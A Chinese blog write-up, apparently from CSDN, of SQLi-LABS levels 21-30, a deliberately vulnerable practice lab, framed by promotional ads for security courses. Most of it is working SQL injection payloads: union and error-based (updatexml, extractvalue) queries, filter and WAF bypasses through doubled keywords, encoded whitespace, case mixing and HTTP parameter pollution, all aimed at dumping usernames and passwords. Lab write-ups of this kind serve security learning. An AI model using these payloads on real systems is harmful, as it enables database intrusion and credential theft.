2024年最全SQLi-LABS的Less21-30分析_less-21 coolie注入(1),怒斩获了30家互联网公司offer

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

显示为报错

那么怎么使用or不报错了

试试在语句or插入一个or语句,如果中间or被过滤掉了剩余部分构成or就成功了

判断列数

?id=1’ oorrder by 4–+

使用union语句

?id=-1’ UNION SELECT 1,2,3–+

爆库

?id=-1’ UNION SELECT 1,2,database()–+

爆表名

?id=-1’ UNION SELECT 1,2,group_concat(table_name) FROM infoorrmation_schema.tables WHERE table_schema = ‘security’–+

爆字段名

?id=-1’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’–+

爆数据

?id=-1’ union select 1,2,group_concat(concat_ws(“:”,username,passwoorrd)) from security.users–+

Less-25a

将1’改为1,其他与Less-25没什么区别

Less-26

看到提示all your spaces and comments belong to us

输入得到?id=1’或者?id=1’)报错,加上注释符–+仍然报错

那么根据Less25的经验输入?id=‘’

看看会发生什么,显示成功没报错,那么注入点为’

被过滤的字符,可用其他的字符进行替代,用"%a0"或"%0b"替代空格,用"||“替代"or”,使用"%26%26"替代"and"

输入?id=-1’ || 1 = 1 || ’

显示正常

那么用updatexml()报错注入爆库名吧

?id=-1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’='1

爆表名

?id=1’ || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=‘security’))) ,1) || ‘1’='1

爆字段名

?id=1’||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema=‘security’ %26%26 table_name = ‘users’))) ,1) || ‘1’='1

爆数据

试着觉得无法直接从users表拿数据,那么先用一个表暂存然后利用另一个去拿

?id=-1’ || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || ‘1’='1

Less-26a

注入点为’)

Less27

注入点为’

爆库

?id=1’%0band%0bextractvalue(1,concat(0x7e,database(),0x7e))%0bor%0b’1’='1

爆表

?id=1’%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),0x7e))%0bor%0b’1’='1

//直接select会被过滤掉要改为selecT

爆字段

?id=1’%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name=‘users’),0x7e))%0bor%0b’1’='1

爆数据

?id=1’%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(username,password)%0bfrom%0busers),0x7e))%0bor%0b’1’='1

Less-27a

输入?id=1"报错,?id=1")%0Bor%0B(“1”)=(“1报错,?id=1”%0bor%0b"1"="1正常

那么猜测属于双引号注入

看看回显怎么样

?id=0"%0bunioN%0bselecT%0b1,2,3%0bor%0b"1"="1

//输入-1好像被过滤了,不输入数字或者输入0较好

爆库

?id=0"%0bunioN%0bselecT%0b1,database(),3%0bor"1"="1

爆表

?id=0"%0bunioN%0bselecT%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0b"1"="1

爆字段

?id=0"%0bunioN%0bselecT%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name=‘users’%0band%0btable_schema=database()%0band%0b"1"="1

爆数据

?

id=0"%0bunioN%0bselecT%0b1,group_concat(username,password),3%0bfrom%0busers%0bwhere%0b"1"="1

Less28

判断注入点为’)

这道题union select容易过滤,绕过空格用/*%0a*/,用union distinct union绕过

看看回显

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,2,3;%00

爆表爆字段

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=“security”)),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=“security”%26%26table_name=“users”));%00

爆数据

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,(select(group_concat(username))from(users)),(select(group_concat(password))from(users));%00

Less-28a

如Less28

Less29

判断注入点为’

不过union select的时候没显示,也许看到注入的参数被 WAF (Web应用防御系统)防御了,通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。此处应该是对注入的参数进行了强效过滤,以此达到了 WAF 的作用。绕过的方法是也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入

?id=1&id=1’ ORDER BY 4–+

?id=1&id=-1’ UNION SELECT 1,2,3–+

?id=1&id=-1’ UNION SELECT 1,database(),3 --+

?id=1&id=-1’ UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=‘security’–+

?id=1&id=-1’ union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=‘security’ and table_name=‘users’–+

?id=1&id=-1’ UNION SELECT 1,group_concat(concat_ws(‘:’,username,password)),3 FROM security.users–+

Less30

如Less29,注入点为双引号

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 14
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值